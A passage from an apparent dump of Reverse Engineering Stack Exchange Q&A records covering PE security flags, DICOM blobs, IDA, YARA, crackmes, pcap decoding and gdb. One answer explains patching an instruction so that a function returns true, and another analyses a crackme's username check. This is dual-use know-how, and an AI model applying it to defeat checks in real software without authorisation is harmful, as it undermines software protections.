import os.path\nimport sys\nimport pefile\n\nclass PESecurityCheck:\n\n  IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040\n  IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100\n  IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400\n  IMAGE_DLLCHARACTERISTICS_GUARD_CF = 0x4000\n\n\n\n  def __init__(self,pe):\n    self.pe = pe\n\n  def aslr(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)\n\n  def dep(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)\n\n  def seh(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_NO_SEH)\n\n  def CFG(self):\n    return bool(self.pe.OPTIONAL_HEADER.DllCharacteristics & self.IMAGE_DLLCHARACTERISTICS_GUARD_CF)\n\nif len(sys.argv) < 2:\n  print 'Usage: %s <file_path>' % sys.argv[0] \n  sys.exit()\n\ndef main():\n  file_path = sys.argv[1]   \n\n  try:\n    if os.path.isfile(file_path):\n      pe = pefile.PE(file_path,True)\n    else:\n      print \"File '%s' not found!\" % file_path     \n      sys.exit(0)  \n  except pefile.PEFormatError:\n    print \"Not a PE file!\"\n    sys.exit(0)  \n\n  ps = PESecurityCheck(pe)\n\n  if ps.aslr():\n    print \"[+] ASLR Enabled\"\n  else:\n    print \"[-] ASLR Not Enabled\"\n\n  if ps.dep():\n    print \"[+] DEP Enabled\"\n  else:\n    print \"[-] DEP Not Enabled\"\n\n  if ps.seh():\n    print \"[+] SEH Enabled\"\n  else:\n    print \"[-] SEH Not Enabled\"\n\n  if ps.CFG():\n    print \"[+]CFG Enabled\"\n  else:\n    print \"[-] CFG Not Enabled\"\n\nif __name__ == '__main__':\n  main()\n
\n", "Title": "how use pefile to check for NX, ASLR, SAFESEH and CFG (Control Flow Guard) flag", "Tags": "|windows|pe|protection|", "Answer": "

NX:

\n\n

IMAGE_OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_NX_COMPAT != 0

\n\n

ASLR:

\n\n

IMAGE_OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE != 0

\n\n

SAFESEH:

\n\n

(IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress != 0)\n&& (IMAGE_OPTIONAL_HEADER.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].Size != 0 )

\n\n

CFG:

\n\n

IMAGE_OPTIONAL_HEADER.DllCharacteristics & IMAGE_DLLCHARACTERISTICS_GUARD_CF != 0

\n" }, { "Id": "9296", "CreationDate": "2015-07-06T13:26:48.893", "Body": "

I have a couple of streams that look pretty odd within a DICOM file. In a few words, DICOM is very close to what binary XML would look like. Almost all of the information from those DICOM files are straighforward and can be read and interpreted nicely with DCMTK and/or GDCM.

\n\n

However there are two binary fields stored within the end of the file that looks like private encoded information. Since DICOM is mostly for interoperability in between system, vendors are actually storing there own internal file format within one of the field of the DICOM file (declared as private field, much like what would people in the TIFF world would do). In my past experience, the encoding was trivial (plain struct stored as binary), see here or here for example.

\n\n

Now if I extract the binary blobs from the DICOM file (debian/jessie amd64), here is what I see :

\n\n
$ gdcmraw -t 7101,1000 input.dcm file1000.gz\n$ gdcmraw -t 7101,1002 input.dcm file1002.gz\n$ file file1000.gz file1000.gz: gzip compressed data, max compression, from FAT filesystem (MS-DOS, OS/2, NT)\n\n$ gunzip file1000.gz\n\ngzip: file1000.gz: invalid compressed data--format violated\n
\n\n

However gunzip is not capable of decompressing them. Could someone with more gzip knowledge please check if those files are actually gzip compressed ? It looks like it's possible to decompress them because in the medical industry we tend to re-use code whenever possible. For example a well known MRI vendor is also using gzip compressed stream to store its private file format, see here for example (full thread here).

\n\n

The obfuscation should be pretty trivial too because it needs to pass medical industry clearance. From past experience, I've only seen byte reversing being used or simple incremental XOR.

\n\n

I've uploaded come of the files here:

\n\n\n\n

The image can be extracted nicely, so I suspect only a few extra private vendor information (metadata only) is stored within this field (MRI serial number...).

\n\n

To be more specific, the fake gzip stream comes in pair eg (file1000.gz & file1002.gz were taken from the same DICOM file). From another DICOM file I found that the second fake gzip stream was (bitwise) identical to file1002.gz, so I only uploaded file1000_other1.gz (same goes for file1000_other2.gz, file1000_other3.gz and file1000_other4.gz). So maybe file1002.gz is a bit special here. Since I do not have physical access to the MRI workstation that produces those images, I can only do brute-force approach here.

\n\n
\n\n

Update: I did check that the files are not simply a deflate codestream with broken header using unz.py and runme (binwalk -X did not reveal anything either). So they are not direct simple gzip files.

\n\n

Update2: I did try to read the stream backwards using this code but again this still does not look like a deflate stream.

\n\n

Update3: So far, all streams I found have proper gzip header, and they all finish with 4 zeros (0) bytes, just like any valid gzip. I should be able to recover the file using the last 4 bytes since they are used to store a crc32 (as per gzip RFC).

\n\n

Update4: Thanks to help here, I discover those private tags are actually slightly documented:

\n\n
Table A.2.1.2.1.3-3 Private Elements for MR Scanner or MR Workstation Images\nWhen exporting Marconi MR Scanner or MR Workstation images the following\nprivate elements may be included.\n\nTag Name Value Representation\n7101,0010 Private MR Creator Data element LO\n7101,1000 MR Processing Field 1 OB\n7101,1001 MR Processing Field 1 Length SL\n7101,1002 MR Processing Field 2 OB\n7101,1003 MR Processing Field 2 Length SL\n7101,1004 Scan Duration SH\n7101,1005 MR Processing Field 3 SH\n7101,1006 MR Processing Field 4 SH\n
\n\n

I did check that the length of the extracted fake-gzip actually match the value stored in the associated attribute (so length for attribute 7101,1000 match value stored in attribute 7101,1001, and length for attribute 7101,1002 matches value stored in attribute 7101,1003). For instance:

\n\n
$ gdcmdump input3.dcm\n[...]\n(07a1,0010) ?? (LO) [ELSCINT1]                                    # 8,1 Private Creator\n(07a1,1013) ?? (UL) 62940                                         # 4,1 ?\n(7101,0000) ?? (UL) 24242                                         # 4,1 Generic Group Length\n(7101,0010) ?? (LO) [Picker MR Private Group ]                    # 24,1 Private Creator\n(7101,1000) ?? (OB) 1f\\8b\\08\\00\\00\\00\\00\\00\\02\\00\\14\\5d\\4b\\8d\\db\\48\\6e\\3e\\ec\\53\\4f\\7b\\28\\c3\\1e\\ef\\8c\\d8\\2d\\86\\e8\\86\\57\\01\\c9\\d9\\96\\4a\\bd\\76\\45\\35\\92\\99\\dc\\33\\e5\\1b\\08\\78\\04\\25\\94\\93\\04\\f3\\80\\7a\\03\\fa\\cd\\34\\02\\40         # 10784,1 ?\n(7101,1001) ?? (SL) 10784                                         # 4,1 ?\n(7101,1002) ?? (OB) 1f\\8b\\08\\00\\00\\00\\00\\00\\02\\00\\14\\3c\\6d\\8d\\da\\48\\6d\\9f\\93\\a1\\31\\e5\\9c\\2f\\f6\\6b\\c1\\48\\44\\d8\\9e\\26\\67\\ab\\78\\8d\\1d\\8a\\6d\\a0\\80\\6c\\36\\31\\dd\\95\\b6\\96\\84\\2f\\13\\90\\a8\\49\\d8\\0f\\fe\\fa\\15\\97\\19\\97\\24\\c0         # 13328,1 ?\n(7101,1003) ?? (SL) 13328                                         # 4,1 ?\n(7101,1004) ?? (SH) [00:48 ]                                      # 6,1 ?\n(7101,1005) ?? (SH) [ECHO\\CARDIAC]                                # 12,2 ?\n(7101,1006) ?? (SH) [115204\\4187\\0\\0 ]                            # 16,4 ?\n
\n\n

Update5: DICOM can only stores even-bytes length as attribute. One fake-gzipped stream was actually padded to the next even length, but the actual length reported in 7101,1001 was odd (10765). I've updated file1000_other4.gz to have the proper length (the trailing bytes are not anymore 03 00 00 00, but 0B 03 00 00)

\n", "Title": "What kind of compression/obfuscation algorithm is this?", "Tags": "|deobfuscation|decompress|binary-format|xor|", "Answer": "

The gzip headers are valid, but the deflate compressed data format is violated almost immediately, within less than ten bytes in for all of the files.

\n\n

For all of the example files provided, the first deflate block is a dynamic block which has an oversubscribed code lengths code. That means that a Huffman code required to decode the code lengths for that block is itself invalid. This immediately halts the decompression, since no further progress can be made.

\n\n

The last four bytes may not be what you think they are. The last four bytes of a valid gzip file is the length of the uncompressed data, modulo 232, in little-endian order. Those lengths do not seem correlated to the file sizes. For example file1010.gz's last four bytes are 0b 03 00 00. It's length is 10766. So 10766 bytes decompresses to 779 bytes? I don't think so. So the second-to-last four bytes are likely also not what you would expect there for a gzip stream, i.e. likely not a CRC.

\n\n

The data after the header appears to be random in all cases (pretty flat histogram over 0..255), and is itself mostly incompressible, which is consistent with it being compressed data.

\n\n

I tried decompressing from all bit offsets starting after the gzip header to the end, but no joy. This rules out some sort of header followed by valid deflate data.

\n" }, { "Id": "9301", "CreationDate": "2015-07-08T09:20:19.100", "Body": "

I have some questions about reverse engineering:

\n\n\n\n

Oh, I did some searching on internet. However, it is too complex, and I cannot understand, especially Wikipedia. So, I would be really grateful if you guys could make it simple enough to understand.

\n", "Title": "What kind of knowledge do I need for Reverse Engineering?", "Tags": "|windows|android|", "Answer": "

These suggestions may help. One sure way of becoming a better reverse engineer is to become a better \"forward engineer\"! Here's what I would suggest:

\n\n\n\n

There's more, I quickly remember more of that.

\n\n

Hope that helps.

\n\n

@firebitsbr

\n" }, { "Id": "9319", "CreationDate": "2015-07-10T11:44:36.197", "Body": "

How do i use IDA debugger to find some specific values in process memory, like values of float or integer, or string type?

\n\n

Then how can i trace how program accesses them?

\n", "Title": "How do i use IDA for heap search for specific types and values?", "Tags": "|ida|", "Answer": "

Question 1:\nYou may use the Ida feature Menu Search, Sequence of Bytes...

\n\n

In case you are e.g. looking for a float value, convert that float into a sequence of four bytes and let Ida search for it. The conversion can be done in Ida as well (IIRC), or in any other hex editor allowing to display different data types. Of course, if your variable is a double instead of a float you need the proper byte sequence for a double which is different. \nWhen searching for a string, you may use the same method. Of course here also you must know e.g. whether you are looking for an ascii string or another kind of string like unicode.\nWith that method, the endian-ness must be observed, because the byte sequence may be different with Big-Endian or Little-Endian.

\n\n

Question 2:

\n\n

In case you found your memory address, put a breakpoint on it. In a memory region, a window opens where you may edit your breakpoint, e.g. select break or trace, as well as the condition when to break and other items. A breakpoint in a code region may be edited by first putting the breakpoint on the location with F2, and then selecting \"Edit Breakpoint\" with a right mouse click.

\n" }, { "Id": "9322", "CreationDate": "2015-07-10T15:49:53.457", "Body": "

I'm trying to use YARA to sort out a variety of files into families. Some malware drops other malware from images within their resource images. What I'd like to do is write a signature that ignores string hits that exist within the resource section. This would allow my signatures to correctly identify droppers from the malware that is dropped. I tried doing something like this:

\n\n
        (pe.sections[0].characteristics & pe.SECTION_CNT_CODE) and $handshake \n
\n\n

to limit my condition to the .text section, but this is definitely not write. That is going to trigger only if the .text section is the first section and the $handshake string exists anywhere within the binary. what I'd like is a way to limit the $handshake to the .text section (or in any section that is not the resource section).

\n\n

Is this even possible with YARA or is that getting a bit too complicated for YARA?

\n", "Title": "How do I make a YARA signature that does NOT look in the resource section?", "Tags": "|malware|yara|", "Answer": "

WXS on the Yara Google Groups was kind enough to post an answer to this question. He has several examples here: https://gist.github.com/wxsBSD/4d5d7677578f80cdf82a

\n" }, { "Id": "9328", "CreationDate": "2015-07-11T18:09:30.190", "Body": "

I'm fairly new to the RE world, started right around a week and have gotten my hands dirty with some really good stuff on this website. Pardon my naive knowledge.

\n\n

Currently, I'm trying to reverse a DLL file of a certain EXE. \nThe EXE makes calls to functions of this DLL for looking up certain values which I plan to patch eventually.

\n\n

How do I go about debugging the DLL while the application is running?

\n\n

I would like to be able to place a break point in my DLL and get a hit in IDA Pro while the call is made from the application.

\n\n

Right now, I patch the DLL by simply hoping for it to work, but I'm pretty sure that there exists a much productive method.

\n\n

I'm using IDA Pro as my flavor of tool.\nYou could suggest me if some other disassembler can help me achieve the same.

\n\n

Could someone be kind enough to guide me around this task?

\n", "Title": "How to debug the DLL of an EXE using IDA Pro?", "Tags": "|ida|debugging|dll|dll-injection|", "Answer": "

Very easy, if I got you right:

\n\n
    \n
  1. Make an Ida project from the DLL, i.e. drag and drop the dll into the blank Ida page.
    2. \n
  2. In Menu Debugger, Process Options, put the path to your exe into the textbox \"Application\", Into \"input file\" put the path to your DLL. Confirm with OK.
    3. \n
  3. Start with menu Debugger, Start Process or F9.
    4. \n
\n\n

Your breakpoint should be hit.

\n" }, { "Id": "9339", "CreationDate": "2015-07-13T07:50:25.337", "Body": "

I have the following code:

\n\n
00401163   > 8D15 49634000  LEA EDX,DWORD PTR DS:[406349]            ; see below, 0x406349 is pointing to entered username\n00401169   . 52             PUSH EDX                                 ; /String => \"myusername\"\n0040116A   . E8 8D020000    CALL <JMP.&kernel32.lstrlenA>            ; \\lstrlenA\n0040116F   . 8BE8           MOV EBP,EAX\n00401171   . B9 05000000    MOV ECX,5\n00401176   . 33F6           XOR ESI,ESI                              ; ESI = 0\n00401178   . 33C0           XOR EAX,EAX\n0040117A   > 8A0C16         MOV CL,BYTE PTR DS:[ESI+EDX]             ; Why is it pointing to 'y' (2nd letter of username) at 1st run in the loop?\n0040117D   . 8AD9           MOV BL,CL\n0040117F   . 3298 28634000  XOR BL,BYTE PTR DS:[EAX+406328]\n00401185   . 40             INC EAX\n00401186   . 83F8 05        CMP EAX,5\n00401189   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL\n0040118C   . 8888 27634000  MOV BYTE PTR DS:[EAX+406327],CL\n00401192   . 75 02          JNZ SHORT crackme.00401196\n00401194   . 33C0           XOR EAX,EAX\n00401196   > 46             INC ESI\n00401197   . 3BF5           CMP ESI,EBP\n00401199   .^72 DF          JB SHORT crackme.0040117A\n
\n\n

As you can see, 0x406349 contains the username:

\n\n
00406349  6D 79 75 73 65 72 6E 61 6D 65 00 00 00 00 00 00  myusername......\n
\n\n

There is a loop that will go thru the letters of the entered username. I don't understand why the first run in the loop (at 0x40117A) contains the 2nd letter of the username instead of the 1st one because the index (ESI) is 0.

\n\n

Can you please help me understand?

\n", "Title": "Loop through letters of a string with index", "Tags": "|assembly|x86|", "Answer": "

as hanno binder replied edx is not preserved by the function call lstrlena

\n\n

you can easily deduce such things by instrumenting the code prior to and post the operation where your assumptions dont pan out to actual behaviour

\n\n

a sample test code could look like this (in x64 you may need a seperate file for inline asm but since you say edx and not rdx inline asm inside a cpp file is fine)

\n\n
#include <stdio.h>\n#include <windows.h>\n// the vars are global so they are initialised to zero\nint preeax,preebx,preecx,preedx,posteax,postebx,postecx,postedx;\nvoid main (void) {\n  printf(\"does lstrlena change edx ? lets check\\n\");\n__asm {\n  mov preeax,eax\n  mov preebx,ebx\n  mov preecx,ecx\n  mov preedx,edx  \n}\nlstrlenA(\"does this change edx\\n\");\n__asm {\n  mov posteax,eax\n  mov postebx,ebx\n  mov postecx,ecx\n  mov postedx,edx  \n}\nprintf(\n\"preeax = %08x\\tposteax = %08x\\npreebx = %08x\\tpostebx = %08x\\n\"\n\"preecx = %08x\\tpostecx = %08x\\npreedx = %08x\\tpostedx = %08x\\n\",\npreeax,posteax,preebx,postebx,preecx,postecx,preedx,postedx);\n}\n
\n\n

on compiling and running it

\n\n
\nedxlstrlen.exe\ndoes lstrlena change edx ? lets check\npreeax = 00000026       posteax = 00000015\npreebx = 7ffd8000       postebx = 7ffd8000\npreecx = 00401120       postecx = 7c80be86\n
preedx = 004166a0       postedx = 004121b9
\n
\n\n

and as guntram commented to confirm you could disassemble lstrlena and grep for edx

\n\n
cdb -c \"uf kernel32!lstrlena;q\" cdb | grep edx\neax=00191eb4 ebx=7ffdb000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4\n7c80be71 8d5001          lea     edx,[eax+1] <-------------\n7c80be7b 2bc2            sub     eax,edx\n
\n\n

guess what eax points to :)\nor here is the spoiler you still need to understand x86 stack

\n\n
\n

cdb -c \"uf kernel32!lstrlena;q\" cdb | grep eax
\n eax=00191eb4 ebx=7ffd7000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4
\n 7c80be62 8b4508 mov eax,dword ptr [ebp+8]
\n 7c80be65 85c0 test eax,eax

\n
\n" }, { "Id": "9348", "CreationDate": "2015-07-14T18:22:16.527", "Body": "

the experiment is on 32-bit x86 Linux.

\n\n

I am doing some static binary instrumentation work, and basically I am trying to insert some instructions below to the beginning of every basic block.

\n\n
BB23 : push %eax\n\nmovl index,%eax\nmovl $0x80823d0,buf(,%eax,0x4)\nadd $0x1,%eax\ncmp $0x400000,%eax\njle BB_23_stub\nmovl $0x0,%eax\nBB_23_stub:movl %eax,index\n\npop %eax\n
\n\n

Note that I need to use cmp instruction, and in order to guarantee that flags can restore to the original value, I use pushf and popf to store\\load flags on the stack.

\n\n

Then it becomes this:

\n\n
 BB_23 :    push %eax\n       pushf               \n       movl index,%eax\n       movl $0x17,buf(,%eax,0x4)\n       add $0x1,%eax\n       cmp $0x400000,%eax\n       jle BB_23_stub\n       movl $0x0,%eax\nBB_23_stub:movl %eax,index\n       popf             \n       pop %eax\n
\n\n

I tested the performance with and without pushf and popf (I am using gzip and bzip). And to my surprise, performance penalty could increase even 3 times after using the pushf and popf instructions!!

\n\n

However, without pushf and popf. The compression results of gzip and bzip are incorrect.

\n\n

So here is my question:

\n\n

Why pushf and popf so slow? Am I using it in a correct way?

\n\n

I cannot afford too much performance penalty introduced by pushf and popf. Is there any way I can avoid the high overhead and also keep the correct semantics? (protecting the value in flags, basically..)

\n\n

Am I clear enough? Could anyone give me some help?

\n", "Title": "Why are PUSHF and POPF so slow?", "Tags": "|binary-analysis|x86|instrumentation|binary|", "Answer": "

Posting a 2nd answer for a different method, combining cmov to avoid a skip-1-instruction branch with @Ian Cook's nice lahf/sahf.

\n\n
       push   %ecx\n       movl   index, %ecx\n\n       push   %eax\n       seto   %al            # save OF to AL\n       lahf                  # save other flags to AH\n\n       movl   $0x17,  buf(,%ecx,0x4)\n       dec    %ecx\n       cmovc  buflen, %ecx       # load buflen constant from memory on wraparound\n\n       addb $127, %al            # restore OF\n       sahf                      # restore other flags\n       pop %eax\n\n       movl   %ecx,index\n       pop %ecx\n
\n\n

This is 14 insns, all single-uop single cycle latency (on Intel). So it's probably still slower than the LOOP version, except for not affecting the branch predictor if this code is duplicated all over the place.

\n\n

With Intel ADX (add-with-carry using CF or OF, to allow two dep chains in parallel), you can avoid clobbering the overflow flag. But it doesn't take an immediate arg, so you need a constant (-4) in memory. You need to detect wrapping around zero, and avoid cmp. This instruction set extension was first supported in Broadwell (barely available for desktops, and not even all currently-for-sale laptops have it.)

\n\n

Anyway, clc / adcx minus_one, %ecx instead of dec %ecx would save net instructions (one clc to save a seto and addb $127 to save/restore the overflow flag), which isn't much. 13 uops is still more than my other answer, using an MMX reg for sub/mask to avoid touching flags.

\n\n

Another possibility is using lea, and zeroing the high bits with a non-flag-affecting left and right shift (BMI2 (Haswell) instruction set's SHLX / SHRX). This avoids touching flags entirely:

\n\n
       push   %ecx\n       movl   index, %ecx\n\n       movl   $0x17,  buf(,%ecx,0x4)\n       lea    -1(%ecx), %ecx\n       push   %eax\n       movl   $bit_count, %eax   # 32 - significant bits in buflen\n       shlx   %eax, %ecx, %ecx   # shift count has to be in a reg\n       shrx   %eax, %ecx, %ecx\n       pop    %eax\n\n       movl   %ecx,index\n       pop %ecx\n
\n\n

Well crap, no-flag shifts are only available as (Intel syntax) shrx r32a, r/m32, r32b, loading the the value to be shifted, not the shift count. And an immediate shift count isn't available either, so I still needed to push/pop eax to get a 2nd register.

\n\n

So this is 11 uops on Intel, all single-cycle latency. It still doesn't beat the mmx version.

\n" }, { "Id": "9361", "CreationDate": "2015-07-16T13:06:35.270", "Body": "

So the problem is that i have a corrupt pcap file. You can find a the pcap file [here][1]. \nFirst i did the file command on it : the.pcap: tcpdump capture file (little-endian) - version 2.4, capture length 24)

\n\n

So i thought Wireshark could open it easily and then i might be able to find any key/flag by analyzing the packets.\nBut opening it with wireshark just gave me an error \"network type 216 unknown or unsupported\". So first, i did some research on the different layers types for a pcap.Here is the link to the different value of layer header. As expected the type with the value 216 has no reference so i need to change the 216 value to the right one? But how ? how can i know which one is appropriate ?

\n\n

After googling a little bit i've seen that we can change the type's value manually.

\n\n
00000000  D4 C3 B2 A1  02 00 04 00   00 00 00 00  00 00 00 00   ................\n00000010  18 00 00 00  D8 00 00 00   8E 6E 6E 52  A9 CB 00 00 \n
\n\n

Below you can see the first bytes of the pcap file and the byte D8 is the type's value which here is equal to 216. Should i try to edit a program which modify the original pcap file with all the existing type value and see which one works ? or is there any way to directly to know which value is the right one ?

\n\n

If someone has some hint, it would be great. Thanks again and bye.

\n", "Title": "Find the right layer header for a corrupt pcap", "Tags": "|digital-forensics|networking|wireshark|", "Answer": "
\n

But opening it with wireshark just gave me an error \"network type 216 unknown or unsupported\"

\n
\n\n

That's because nobody's contributed support for DLT_LINUX_EVDEV to Wireshark.

\n\n

There does not appear to be anything at all corrupt about that file; if it were corrupt, Wireshark would have indicated that. \"network type XXX unknown or unsupported\" doesn't mean the file is corrupt, it just means that Wireshark doesn't happen to handle that particular link-layer header type value.

\n\n

Let's look at the header:

\n\n

D4 C3 B2 A1: That's a little-endian pcap magic number. So far, so good.

\n\n

02 00: That's a little-endian major version number of 2.

\n\n

04 00: That's a little-endian minor version number of 4. 2.4 is the current pcap file format version number; so far, so good.

\n\n

00 00 00 00: That's the time zone offset, which is usually 0.

\n\n

00 00 00 00: That's the time stamp accuracy, which is usually 0.

\n\n

18 00 00 00: That's a little-endian snapshot length of 0x18 or 24.

\n\n

D8 00 00 00: That's a little-endian link-layer header type of 0xD8, or 216, or DLT_LINUX_EVDEV.

\n\n

What follows are records for packets:

\n\n

8E 6E 6E 52: That's a little-endian seconds-since-January 1, 1970 00:00:00 UTC value of 0x526E6E8E, or 1382968974, or Mon Oct 28 07:02:54 2013 Pacific Standard Time - i.e., a bit more than a year and a half ago.

\n\n

A9 CB 00 00: That's a little-endian microseconds-since-that-second value of 0xCBA9, or 52137.

\n\n

18 00 00 00: That's a little-endian count of bytes captured, with a value of 0x18, or 24.

\n\n

18 00 00 00: That's a little-endian count of bytes that were actually in the message (the capture process can truncate data past a certain point; that's what the snapshot length in the file indicates), with a value of 0x18, or 24.

\n\n

And the 24 bytes of packet data are:\n8E 6E 6E 52\n00 00 00 00\nA9 CB 00 00\n00 00 00 00\n04 00 04 00\n1C 00 00 00

\n\n

\"EVDEV\" refers to the evdev driver in Linux, which allows various providers of user input (keyboards, mice, tablets, trackpads, joysticks, etc.) to plug into it, and it merges the streams of input events into a single stream that can be read by programs such as the X server or the Weston server for Wayland.

\n\n

Its events are described in the Linux \"input.h\" header as

\n\n
struct input_event {\n    struct timeval time;\n    __u16 type;\n    __u16 code;\n    __s32 value;\n};\n
\n\n

so that's a 64-bit(?) seconds-since-January 1, 1970, 00:00:00 UTC, a 64-bit microseconds since that second, a 16-bit type, a 16-bit code, and a 32-bit value.

\n\n

All, unfortunately, in host byte order, according to the discussion on the tcpdump-workers mailing list. This host is, apparently, little-endian.

\n\n

And the time stamp duplicates the one in the pcap record header.

\n\n

So we have:

\n\n

8E 6E 6E 52 00 00 00 00 - 0x526E6E8E, or the same time stamp as in the packet record header;

\n\n

A9 CB 00 00 00 00 00 00 - 0xCBA9, or the same microseconds-since-that-second as in the packet record header;

\n\n

04 00 - 0x0004, or a type of 4, or \"EV_MSC\" according to the Linux header, and which is \"Used to describe miscellaneous input data that do not fit into other types\" according to the Linux event codes documentation;

\n\n

04 00 - 0x0004, or a code of 4, or \"MSC_SCAN\" for EV_MSC messages according to the Linux header;

\n\n

1C 00 00 00 - 0x1C, or a value of 30.

\n\n

And then we have the next packet:

\n\n

8E 6E 6E 52 - same second

\n\n

A9 CB 00 00 - same microsecond

\n\n

18 00 00 00 - same length, not surprising as all evdev messages are 24 bytes long

\n\n

18 00 00 00 - again, same length

\n\n

8E 6E 6E 52 00 00 00 00 - same (duplicate) second

\n\n

A9 CB 00 00 00 00 00 00 - same (duplicate) microsecond

\n\n

01 00 - 0x0001, or type \"EV_KEY\", \"Used to describe state changes of keyboards, buttons, or other key-like devices\"

\n\n

1C 00 - 0x001C, or 28, which is \"KEY_ENTER\", the meaning of which should be obvious (although the one on the laptop on which I'm typing this says \"return\" in larger letters below and only says \"enter\" in smaller letters above :-))

\n\n

00 00 00 00 - value of 0

\n\n

and so on.

\n\n

So I'm absolutely 100% certain that it is a pcap file, and isn't even a corrupted one; it just happens to contain messages that Wireshark doesn't understand.

\n\n

The link type, in the sense of \"link-layer header type\", appears only once, in the file's header, so there's no reason to expect anything else to be a link type in the file - pcap simply doesn't support different link types in one single capture file, unless a hack like DLT_PPI is used. So that part of the argument against it being a pcap file is invalid.

\n\n

As for addresses, there's no guarantee that a given DLT_ type has any addresses, and evdev events don't, so that doesn't apply, either.

\n\n

In any case, if you want to open it in Wireshark, you'll need to find or write a dissector for it.

\n" }, { "Id": "9365", "CreationDate": "2015-07-16T15:24:19.570", "Body": "

the experiment is on Linux, x86 32-bit.

\n\n

So suppose in my assembly program, I need to periodically (for instance every time after executing 100000 basic blocks) dump an array in .bss section from memory to the disk. The starting address and size of the array is fixed. The array records the executed basic block's address, the size is 16M right now.

\n\n

I tried to write some native code, to memcpy from .bss section to the stack, and then write it back to disk. But it seems to me that it is very tedious and I am worried about the performance and memory consumption, say, every-time allocate a very large memory on the stack...

\n\n

So here is my question, how can I dump the memory from global data sections in an efficient way? Am I clear enough?

\n", "Title": "Dump global datas to disk in assembly code", "Tags": "|assembly|binary-analysis|linux|c|memory-dump|", "Answer": "

with gdb you can define a canned sequence and execute it
\na sample canned sequence could be

\n\n

stepi {count} append memory {filepath} {start} {end}

\n\n

a sample run on cygwin gdb over gdb

\n\n
$ gdb gdb\nGNU gdb (GDB) Cygwin 7.9.1-1\n\n(gdb) define dumpy\nType commands for definition of \"dumpy\".\nEnd with a line saying just \"end\".\n>si 10000\n>append value ../../cygdrive/c/tmp/dumpy.txt $pc\n>append memory ../../cygdrive/c/tmp/dumpy.txt $pc $pc+4\n>end\n(gdb) break *0x401000\nBreakpoint 1 at 0x401000\n(gdb) r\nStarting program: /usr/bin/gdb\n[New Thread 3300.0xe20]\n\nBreakpoint 1, 0x00401000 in ?? ()\n(gdb) dumpy\n[New Thread 3300.0xbc0]\n0x610bf987 in auto_protect_for(void*) () from /usr/bin/cygwin1.dll\n\n(gdb) x/x $pc\n0x610bf987 <_ZL16auto_protect_forPv+135>:       0x05f6e572      \n\n(gdb) dumpy\n0x610f007b in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()\n   from /usr/bin/cygwin1.dll\n\n\n(gdb) dumpy\n0x610f0028 in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()\n   from /usr/bin/cygwin1.dll\n(gdb)\n
\n\n

xxd doesnt convert endianness so i cooked a powershell script to dump the dumpy.txt

\n\n
$file = gc -encoding byte $args[0]\n$j=0\nwhile($j-lt $file.length) {\n$i=$j;$a=\"\";($i+3)..($i+0)|%{$a+=(\"{0:x2}\" -f $file[$_])};$a+=\" \";\n$i=$i+4;($i+3)..($i+0)|%{$a+=(\"{0:x2}\" -f $file[$_])};\n$a\n$j+=8\n}\n
\n\n

dumping the dumpy.txt as address , content pairs with the powershell script above you can see it matches gdb output

\n\n
PS C:\\tmp> powxxd.ps1 .\\dumpy.txt\n610bf987 05f6e572\n610f007b f6851f74\n610f0028 2c24448b\n
\n" }, { "Id": "9366", "CreationDate": "2015-07-16T15:29:01.167", "Body": "

At line #3 of a function, I have a QWORD at address 7FE875F3FE0 which resolves to a value of 85857490416 for which the function returns true. If not, the value is set to 0.

\n\n

I would like to know how can I modify this QWORD to the said sequence of digits so that the function returns true. I have tried assembling this LoC, but it kills the function due to the non-match of the byte padding.

\n\n

Code Cave is an option? If so, can somebody help me? Else a MOV statement?

\n\n

Just started recently with RE and IDA Pro.

\n\n

Code Segment

\n\n
push    rbx\nsub     rsp, 20h\nmov     rax, cs:qword_7FE875F3FE0\nmov     rbx, rcx\ntest    rax, rax\njnz     short loc_7FE8728D09D\n\nloc_7FE8728D09D:\nmov     [rcx], rax\nxor     eax, eax\nadd     rsp, 20h\npop     rbx\nretn\n
\n\n

.data representation of the QWORD

\n\n
.data:000007FE875F3FE0 qword_7FE875F3FE0 dq ? \n.data:000007FE875F3FE0                                         \n.data:000007FE875F3FE8 db    ? ;\n.data:000007FE875F3FE9 db    ? ;\n.data:000007FE875F3FEA db    ? ;\n.data:000007FE875F3FEB db    ? ;\n
\n", "Title": "Set QWORD with a constant value in IDA Pro", "Tags": "|ida|debugging|dll|", "Answer": "

The easiest solution would likely be to patch the first block of the function to be the following:

\n\n
push    rbx\nsub     rsp, 20h\nmov     rax, 85857490416\nmov     rbx, rcx\n
\n\n

Though mov rax, 85857490416 will consume extra bytes, you can remove test rax, rax and jnz short loc_7FE8728D09D to compensate.

\n\n

And if it still doesn't fit, then yes, a code-cave would likely be the next option.

\n" }, { "Id": "9368", "CreationDate": "2015-07-16T16:21:30.970", "Body": "

Reversing some Android malware I see that it sets android:priority to 10000 in the AndroidManifest.xml file. Looking at the Android Documentation I see that it needs a value > -1000 and < 1000.

\n\n

How does this work? Is 10000 a valid priority value? Are there legitimate applications that use that priority value?

\n", "Title": "Android priority values", "Tags": "|android|", "Answer": "

